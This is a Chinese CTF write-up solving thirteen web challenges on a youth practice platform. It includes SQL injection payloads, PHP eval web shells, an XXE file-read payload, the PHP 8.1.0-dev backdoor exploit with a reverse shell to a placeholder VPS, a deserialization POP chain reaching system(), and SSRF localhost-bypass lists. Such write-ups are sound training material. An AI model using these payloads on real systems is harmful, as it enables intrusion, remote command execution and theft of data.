青少年CTF练习平台-web

青少年CTF练习平台-web

1.文章管理系统

image

抓包访问页面发现页面 id 参数存在整形 sql 注入

Payload:

1
2
3
4
5
6
7
8
9
10
?id=1
?id=1' //判断为整数类型的注入
?id=1 and 1=1# //正常执行
?id=1 and 1=2# //返回报错,证明存在注入
?id=1 order by 2# //查看显示位,有两列
?id=-1 union select database(),user()# //word,root@localhost
?id=-1 union select version(),@@datadir# //数据库版本和安装路径
?id=-1 union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),user()# //articles
?id=-1 union select (select group_concat(column_name) from information_schema.columns where table_name="articles"),user()# //id,title,word
?id=-1 union select (select group_concat(id,title,word) from word.articles),user()#

在结果页面下方找到 个答案,不是正确的 flag

1
987516FLAGqsnctf{sql+so+easy!!!!}

image

使用 sqlmap 获取一下数据

image

image

使用命令 cat /flag 找到flag

flag{05e146b0fdbf4184a431d74773e6dc2a}

1
2
echo "<?php @eval(\$_POST[123]);?>" > /var/www/html/111.php
echo '<?php @eval($_POST[123]);?>' > /var/www/html/123.php

若使用双引号会发现写进去的内容变成了****,$_POST 被过滤了,故使用 \ 绕过即可。

换一种方法,使用 :

–file-write–file-dest

1
python sqlmap.py -u "http://challenge.qsnctf.com:30089/?id=1" --file-write D:\111.txt --file-dest /var/www/html/333.php

–os-shell发现成功写入,使用蚁剑连接

image

image

2.Robots

打开页面显示

看看Robots.txt文件吧?

访问此页面找到

1
2
3
User-agent: *
Disallow:
Disallow: f1ag_1n_the_h3re.php

接着访问 f1ag_1n_the_h3re.php,出现答案

3.黑客终端

image

输入框可执行系统命令,试了下常用命令,只发现 ls 可以使用

1
bin home lib32 media root sys vmlinuz boot initrd.img flag lib64 mnt run tmp vmlinuz.old dev initrd.img.old libx32 opt sbin usr etc lib lost+found proc srv var

试了以下绕过都不行

1
2
3
4
5
6
7
cat flag
cat%20flag
cat%20fl*
cat$IFSf*
tac$IFSfla?
ca\t$IFSf*
......

抓个包看看。

image

在响应页面的script中发现了答案,原来使用 cat /flag 可以得到结果,ls 当前目录的flag是假的。

4.此地无银三百两

image

此地无银三百两,flag 就在网页源代码中

5.PHP的XXE

题目描述:

XXE(XML External Entity)是一种针对XML解析器的攻击技术,也被称为XML外部实体注入攻击。当应用程序解析用户提供的XML输入时,如果没有正确地配置或过滤外部实体,攻击者可以利用这一漏洞执行恶意操作。

XML允许在文档中定义和使用外部实体,这些实体可以从外部资源(如文件、网络URL等)中获取数据。如果应用程序解析了包含恶意外部实体的XML输入,并且未对外部实体进行适当的处理或限制,攻击者可能会读取敏感文件、执行远程代码或进行其他恶意活动。

参考资料:

https://cloud.tencent.com/developer/article/2090744

https://xz.aliyun.com/news/2994?time__1311=eqfxBQD%3DDQIxl6zq0%3DExiIexNFGCfIeD&u_atoken=d3c08d7961a88e8e9d4d2dd28b364dbd&u_asig=1a0c380917412452111677324e003b#toc-4

payload:

首先要需要访问 /simplexml_load_string.php 或 dom.php 页面触发漏洞,然后使用payload

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> #xml版本标识和字符编码设置
<!DOCTYPE xxe #DTD声明验证
[
<!ELEMENT name ANY > #内部的 DOCTYPE 声明
<!ENTITY xxe SYSTEM "file:///etc/passwd" > #参数实体:实体名 实体值
]>
<root><name>&xxe;</name></root> #xml内容

image

6.PHP的后门

题目暗示有后门,就直接目录扫描,没有结果

image

BP抓个包看到php版本是: PHP/8.1.0-dev

网上查了下,PHP 8.1.0-dev存在后门远程命令执行漏洞

在header头增加user-agentt字段

1
2
3
4
5
6
user-agentt: zerodiumvar_dump(2*3);
user-agentt: zerodiumsystem("cat /flag");
User-Agentt: zerodiumfile_put_contents('111.php','<?php @eval($_POST[123]);?>');
user-agentt: zerodiumsystem("cat 111.php");
User-Agentt: zerodiumsystem("bash -c 'exec bash -i >& /dev/tcp/VPSip/6666 0>&1'"); //反弹shell

imageflag{1e33efc9e259480dbf8e03efd70d84ab}

7.EasyMD5

image

题目页面是两个上传文件的地方,结合题目可能是要上传两个MD5相同的文件

创建两个文件,使用 0e 绕过

0e:1.txt(QNKCDZO) 2.txt(240610708)

点上传页面提示需要 pdf 格式,那么改一下后缀名再上传,结果就出来了

image

8.Easy_SQLi

image

是个登录功能,输入弱口令试一下,admin/123456。登录成功了。但没有任何显示。

抓个包看一下,响应包没什么东西,直接使用 sqlmap ,两个参数都存在注入。

payload:sqlmap -r t.txt -D qsnctf -T users -C id,password,username –dump

image

9.雏形系统

image

试了试弱口令,没有结果,查看网页源代码也没东西

网站目录扫描一下,找到个 www.zip,得到有两个文件

robots.txt

qsnctf.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login Page</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f0f0f0;
padding: 20px;
}

.container {
max-width: 400px;
margin: 0 auto;
background-color: #fff;
padding: 20px;
border-radius: 5px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
}

.alert {
padding: 10px;
background-color: #f8d7da;
color: #721c24;
border-radius: 5px;
margin-bottom: 10px;
}

form {
margin-bottom: 20px;
}

form input[type="text"],
form input[type="password"],
form input[type="submit"] {
width: 100%;
padding: 10px;
margin-bottom: 10px;
border: 1px solid #ccc;
border-radius: 3px;
}

form input[type="submit"] {
background-color: #007bff;
color: #fff;
border: none;
cursor: pointer;
}
</style>
</head>

<body>
<div class="container">
<h1>Welcome to the login testing page!</h1>
<hr>
<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
eval($O00O0O("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
?>
<form method="POST">
<input type="text" name="username" placeholder="Username" required>
<input type="password" name="password" placeholder="Password" required>
<input type="submit" value="Login">
</form>

</div>
</body>

</html>

把代码中的php代码中 eval 改成 echo 执行一下,得到以下内容

1
$O0O000="KXpJtRrgqUOHcFewyoPSWnCbvkfMIdmxzsELYZBVGhDNuaATlQjiTaMhyQJUrZntqeKBsNwRckmlodVASYpWxjLEbIfCgvOFuizDPGXHwO9BitzTSmzUSgCsqp9sa3hPqg9sYgPuIsUBTDjTmHzUSmfXlgexqsfxigdTSmzUStjTSmzUSmzUSmfBYchjicAUhg5PKtG7mHzUSmzUSmzUqtCHlgPXSmQBbaFxnBNUSmzUSmzUStf1bpWMbsfpYc5XYgPolHfVa3QoZ3Qsic5kTmP7mHzUSmzUSmzUSmzUSmQ0igPxED5uIav0nXMGDeNNhtQNiaAywkfvq3AMnBNUSmzUSmzUSt0TSmzUSt0TSmzUSgFjbaFxStYomHzUSmf7mHzUSmzUSmzUqtCHlgPXSmQxIaU7mHzUSmzUSmzUqtCHlgPXSmQvI2Z7mHzUSmzUSmzUqtCHlgPXSmQMlkQPlkQMl247mHzUSmzUSmzUqtCHlgPXSgI1lpF0ic9uSe9VIgCxYth1b3GNTajTSmzUSmzUSmzUSmzUIcFNlszHRgdUCth5StFPqpPvlgP6IRfFIRLHnBNUSmzUSmzUSmzUSmzdYgvMqs0+ic5xqgCXYmUMnBNUSmzUSmzUSt0TSmzUSmzUSmfpYc5XYgPolHfMlkFBIcF0TmP7mHzUSmzUSmzUSmzUSgPpTmQ0igPxED5xIaU9wRYHl3dkhHbdYgvMqs0+bcYPwD0kIcPkitQPIc4kTGNUSmzUSmzUSmzUSmf7mHzUSmzUSmzUSmzUSmzUSmfPb2voSmQ0igPxED5MlkQPlkQMl247mHzUSmzUSmzUSmzUSt0TSmzUSmzUSmzUSmzUIcFNlszH8h+IvDL45lTf8h+SjHS7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSgFjbaFxSLQPlc8TSmzUStjTSmzUSmzUSmfBYchjicAUhgL7mHzUSmzUSmzUq3QvYgPXSgI1lpF0ic9uSe9Vb2ejleF0baQMbsUdbcF0ic9uEmzdIg8MmHzUSmzUSmzUKBNUSmzUSmzUSmzUSmfklg9HbcBUhgS7mHzUSmzUSmzUSmzUSmQHTmQdl1jBaRd7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSmQHSO0Uhe9GD1FZcsYBbaFxY29sImYYnBNUSmzUhgLUwRzda1fwZ1Qlh3CxIahubc1Ph107mHzUSmfzYc5xIahMbcWMKpZNhgLMnBNUSmzUicbUTmeMq3FPYmUdbHdMStjTSmzUSmzUSmfPb2voSmS9wD09wD09wD09wD09wD09wD1GDeNURc5BYaGUcc91qHfnbc1PSD09wD09wD09wD09wD09wD09wRS7mHzUSmf9mHzUSmfMIHUdbD09h2edlcPuhsbphgS9wRSkixepYcv1h3AUYgCxYmfdIc1oSHdTSmzUStjTSmzUSmzUSmfPb2voTmEkploPoIapHhOPHM8HTDjTSmzUSt0TmHzUSmz/wU=="; eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000), $OO0O00($O0O000,0,$OO0000))));

再将以上得到的内容替换掉原来 php 代码中的 echo 语句,然后把 eval 再改成 echo 继续执行

再解码后得到如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
error_reporting(0);
highlight_file(__file__);
class shi{
public $next;
public $pass;
public function __toString(){
$this->next::PLZ($this->pass);
}
}
class wo{
public $sex;
public $age;
public $intention;
public function __destruct(){
echo "Hi Try serialize Me!";
$this->inspect();
}
function inspect(){
if($this->sex=='boy'&&$this->age=='eighteen'){
echo $this->intention;
}
echo " 18岁 ";
}
}
class Demo{
public $a;
static function __callStatic($action, $do){
global $b;
$b($do[0]);
}
}
$b = $_POST['password'];
$a = $_POST['username'];
@unserialize($a);
if (!isset($b)) {
echo "==================PLZ Input Your Name!==================";
}
if($a=='admin'&&$b=="'k1fuhu's test demo"){
echo("登录成功");
}
?>

$this->next::PLZ($this->pass); ::‌ 这是一个作用域解析操作符,用于访问静态方法和属性。在这个上下文中,它用于调用静态方法 PLZ。这行代码的作用是调用 next 对象的静态方法 PLZ,并将 pass 属性作为参数传递给它。这种用法通常出现在需要动态调用对象方法或属性的场景中,尤其是在处理复杂的对象关系时。

1
2
__callStatic://在静态上下文中调用不可访问的方法时触发
__destruct() //类的析构函数,对象被销毁时触发

分析代码构造 pop 链,发现 Demo 类的 __callStatic() 方法中有函数调用 $B($do[0]),那么就可以以这个函数为终点入手,注意到 $b 可以让他为 system 函数,也就是传入的参数 password ,然后分析 callStatic() 方法,我们让他的对象等于 shi 类中 toString()next 属性,这样就能调用到 callStatic() 方法,接着发现 PLZ($this->pass); PLZ就是函数引用,也就是 $b 函数,那么参数就是 pass ,pass我们可以让他为 system 命令的参数,例如:whoami,所以给 pass 赋值我们要执行的命令,接着分析能调用 toString() 方法的地方,毫无疑问那只能在 wo 类中,发现最终就调用到了 inspect() 方法的 intention 属性,而 destruct() 方法最终会调用到他,destruct() 会在执行完反序列化后销毁对象时触发。所以 pop 链子就如下:

1
2
3
4
@unserialize($a),$a=username=$w
wo::inspect(),$w->intention=$s;
shi::__toString().$s->next=$d;
Demo::__callStatic(),$b=password

payload 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class shi{
public $next;
public $pass="whoami";
}
class wo{
public $sex="boy";
public $age="eighteen";
public $intention;
}
class Demo{
public $a;
}
$d=new Demo();
$s=new shi();
$s->next=$d;
$w=new wo();
$w->intention=$s;
echo serialize($w);
echo urlencode(serialize($w));
?>
1
//传入post参数:username=序列化字符串&password=system

image

payload:

1
2
3
ls%20-al
cat /flag
cat\$IFS/f*

image

10.EasyInclude 2024

image

文件包含漏洞 ,传入 inc 参数,直接获得结果 ?inc=/flag

image

11.贪吃蛇

image

image

查看源代码,发现 score = 10000就会获得结果

那么就访问 check_score.php?score=${score},传参

/check_score.php?score=10000即可

image

12.穿梭隐藏的密钥

image

查看网页源代码找到个 c3s4f.php 文件

image

c3s4f.php 页面如下:源码中

image

没什么有用的东西,尝试目录扫描一下,得到了个 flag.php,访问页面是个空白

image

dirsearch 扫描不出有用的东西,又用 御剑扫描了一次,得到个 secret.php 文件

image

使用 FUZZ参数名工具-Arjunc3s4f.php 页面的参数fuzz 一下,找到了个 shell

image

随便传一个参数 ?shell=1

image

要求 127.0.0.1 才能传

image

发现还不能,使用 127.0.0.1 绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
域名指向绕过:
localtest.me
fuf.me
vcap.me
lvh.me
xip.io
spoofed.burpcollaborator.net
safe.taobao.com
localhost
进制绕过:或点分式
0x7F000001 //十六进制 0x
017700000001 //八进制
2130706433 //十进制
0177.0000.0000.0001
0x7F.0x00.0x00.0x01
0x7F.0.0.1
添加@绕过:
quan9i@127.0.0.1
notfound.ctfhub.com@127.0.0.1
...
特殊数字:
17.0.0.1
句号替代.绕过:
127001
省略0绕过:
127.1
127.0.1
特殊0:在windows中,0代表0.0.0.0,而在linux下,0代表127.0.0.1
0
302跳转:
sudo.cc //已经不能用

参考链接:

https://www.cnblogs.com/lei1016cn/archive/2012/11/29/2794862.html

https://lazzzaro.github.io/2020/09/03/web-SSRF/

使用 shell 参数传入:secret.php 文件

c3s4f.php?shell=http://localtest.me/secret.php

image

得到一个 key 值MSIBLG和一个 cha11eng3.php文件,访问 cha11eng3.php ,得到一个网页源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 <?php
show_source(__FILE__);
include('k4y.php');
include_once('flag.php');

// Challenge 1
if (isset($_GET['DrKn'])) {
$text = $_GET['DrKn'];
if(@file_get_contents($text) == $key) {
echo "有点东西呢"."</br>".$key1."</br>";
} else {
die("貌似状态不在线啊(╯_╰)</br>");
}
}
// Challenge 2
if (isset($_GET[$key1])) {
$damei = $_GET[$key1];
if (hash("md4", $damei) == $damei) {
echo "又近了一步呢,宝~"."</br>".$key2."</br>".$key3;
} else {
die("达咩哟~");
}
}

// Challenge 3
if (isset($_POST[$key2]) && isset($_POST[$key3])) {
$user = $_POST[$key2];
$pass = $_POST[$key3];

if (strlen($user) > 4 || strlen($pass) > 5) {
die("还得练");
}
if ($user !== $pass && md5($user) === md5($pass)) {
echo "还不错哦"."$flag";
}
else {
die("nonono") ;
}
}
?>

file_get_contents()函数:用法:将一整个文件读入到一个字符串中

绕过:用data伪协议绕过,或者 php://input 协议

1
2
3
4
cha11eng3.php?DrKn=data://text/plain,MSIBLG
cha11eng3.php?DrKn=data://text/plain;base64,TVNJQkxH
cha11eng3.php?DrKn=php://input
post 传入:MSIBLG

得到一个参数:M_ore.8

MD4弱比较绕过,可以通过科学计算法比较绕过。找一个值是一个科学计算法0e开头的,其md4加密后也为0e开头,弱类型比较绕过。

a md4(a)
0e251288019 0e874956163641961271069404332409
0e001233333333333334557778889 0e434041524824285414215559233446
1
2
M[ore.8=0e001233333333333334557778889
在url中不能识别_,所以用[代替

传入此参数后又获得两个参数:wtfmC

MD5绕过:传入数组或科学计数法

image

13.ezsign

image

是个登陆页面,弱口令试一下,出来个留言板,输入任何内容都会输出.

image

image

image

目录扫描,找到了个上传页面和备份文件 index.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php 
error_reporting(0);
// 检查 cookie 中是否有 token
$token = $_COOKIE['token'] ?? null;

if($token){
extract($_GET);
$token = base64_decode($token);
$token = json_decode($token, true);


$username = $token['username'];
$password = $token['password'];
$isLocal = false;

if($_SERVER['REMOTE_ADDR'] == "127.0.0.1"){
$isLocal = true;
}

if($isLocal){
echo 'Welcome Back,' . $username . '!';
//如果 upload 目录下存在$username.png文件,则显示图片
if(file_exists('upload/' . $username . '/' . $token['filename'])){
// 显示图片,缩小图片
echo '<br>';
echo '<img src="upload/' . $username . '/' . $token['filename'] .'" width="200">';
} else {
echo '请上传您高贵的头像。';
// 写一个上传头像的功能
$html = <<<EOD
<form method="post" action="upload.php" enctype="multipart/form-data">
<input type="file" name="file" id="file">
<input type="submit" value="Upload">
</form>
EOD;
echo $html;
}
} else {
// echo "留个言吧";
$html = <<<EOD
<h1>留言板</h1>
<label for="input-text">Enter some text:</label>
<input type="text" id="input-text" placeholder="Type here...">
<button onclick="displayInput()">Display</button>
EOD;
echo $html;
}
} else {
$html = <<<EOD
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
</head>
<body>
<h2>Login</h2>
<form method="post" action="./login.php">
<div>
<label for="username">Username:</label>
<input type="text" name="username" id="username" required>
</div>
<div>
<label for="password">Password:</label>
<input type="password" name="password" id="password" required>
</div>
<div>
<input type="submit" value="Login">
</div>
</form>
</body>
</html>
EOD;
echo $html;
}
?>

<script>
function displayInput() {
var inputText = document.getElementById("input-text").value;
document.write(inputText)
}
</script>

extract(): 它的主要作用是将数组展开,键名作为变量名,元素值为变量值。可以很方便的提取$_POST或者$_GET的元素。

看到 extract() 函数就可以使用变量覆盖,我们把变量 $_SERVER[REMOTE_ADDR] 的值重新设置为题目要求的 127.0.0.1

?_SERVER[REMOTE_ADDR]=127.0.0.1

出现了上传页面

image

后续题有问题,无法上传任何文件。。